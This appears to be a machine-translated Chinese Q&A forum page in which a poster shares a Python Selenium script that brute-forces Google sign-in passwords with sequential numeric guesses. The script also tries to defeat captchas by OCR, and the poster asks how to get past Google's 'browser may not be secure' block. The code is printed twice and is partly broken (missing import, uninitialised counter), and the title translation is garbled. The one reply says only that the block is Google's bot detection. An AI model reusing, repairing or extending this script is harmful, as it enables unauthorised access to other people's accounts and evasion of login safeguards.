Google是否将我的帐户从INS上阻止我的帐户?
几周前,我开始了一个项目,旨在猜测Google签名的密码,该密码由数字1-100000组成。我使用硒来请求和导航围绕Chrome浏览器进行导航,但是最近我遇到了一个错误,说“无法签名,此浏览器或应用程序可能无法安全”。我这是一个Google安全功能,还是我做错了什么。如果是这样,有办法解决吗?不确定在哪里出错,所以我只包括整个代码。
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import pytesseract
import requests
# Setup global variables
global guessCount
global cracked
global driver
def enterEmail():
global cracked
driver.implicitly_wait(2)
email = driver.find_element(By.ID, "identifierId")
email.send_keys('[email protected]' + Keys.RETURN)
driver.implicitly_wait(3)
cracked = 'true'
def defeat_recaptcha():
global cracked
driver.implicitly_wait(6)
captcha_img_element = driver.find_element(By.ID, "captchaimg")
captcha_img_link = captcha_img_element.get_attribute("src")
print(captcha_img_link)
img = requests.get(captcha_img_link, stream=True)
cracked = 'true'
# Process image
word = pytesseract.image_to_string(img)
print(word)
# Get captcha box
code = driver.find_element(By.ID, "ca")
code.send_keys(word + Keys.RETURN)
cracked = 'true'
def main():
global driver
driver = webdriver.Chrome()
driver.get('https://accounts.google.com/signin/v2/identifier?elo=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin')
enterEmail()
while cracked == 'true':
driver.implicitly_wait(5)
if driver.find_element(By.ID, "captchaimg") is not None:
# run inside loop to crack recaptcha
defeat_recaptcha()
if driver.find_element(By.NAME, 'password') is not None:
passwd = driver.find_element(By.NAME, 'password')
guess = 10000 + guessCount
guessCount = guessCount + 1
inputGuess = str(guess) + '000'
passwd.send_keys(inputGuess + Keys.RETURN)
passwd.clear()
# Get captcha image
print(guess)
if __name__ == "__main__":
main()
A few weeks ago I began a project that aimed to guess google sign in passwords that were comprised of a number 1-100000. I used selenium to request and navigate around a chrome browser, however just recently I have been getting an error saying "Couldn't sign you in, this browser or app may not be secure". I this a google security feature or am I doing something wrong. If so is there a way around it? Not sure where it went wrong so I'll just include the whole code.
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import pytesseract
import requests
# Setup global variables
global guessCount
global cracked
global driver
def enterEmail():
global cracked
driver.implicitly_wait(2)
email = driver.find_element(By.ID, "identifierId")
email.send_keys('[email protected]' + Keys.RETURN)
driver.implicitly_wait(3)
cracked = 'true'
def defeat_recaptcha():
global cracked
driver.implicitly_wait(6)
captcha_img_element = driver.find_element(By.ID, "captchaimg")
captcha_img_link = captcha_img_element.get_attribute("src")
print(captcha_img_link)
img = requests.get(captcha_img_link, stream=True)
cracked = 'true'
# Process image
word = pytesseract.image_to_string(img)
print(word)
# Get captcha box
code = driver.find_element(By.ID, "ca")
code.send_keys(word + Keys.RETURN)
cracked = 'true'
def main():
global driver
driver = webdriver.Chrome()
driver.get('https://accounts.google.com/signin/v2/identifier?elo=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin')
enterEmail()
while cracked == 'true':
driver.implicitly_wait(5)
if driver.find_element(By.ID, "captchaimg") is not None:
# run inside loop to crack recaptcha
defeat_recaptcha()
if driver.find_element(By.NAME, 'password') is not None:
passwd = driver.find_element(By.NAME, 'password')
guess = 10000 + guessCount
guessCount = guessCount + 1
inputGuess = str(guess) + '000'
passwd.send_keys(inputGuess + Keys.RETURN)
passwd.clear()
# Get captcha image
print(guess)
if __name__ == "__main__":
main()
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(1)
是Google安全功能,Google知道您何时使用机器人,而且很明显,使用bot访问网站是不安全的
is a google security feature, google knows when you are using a bot and well, is obvious that is insecure to use a bot to access websites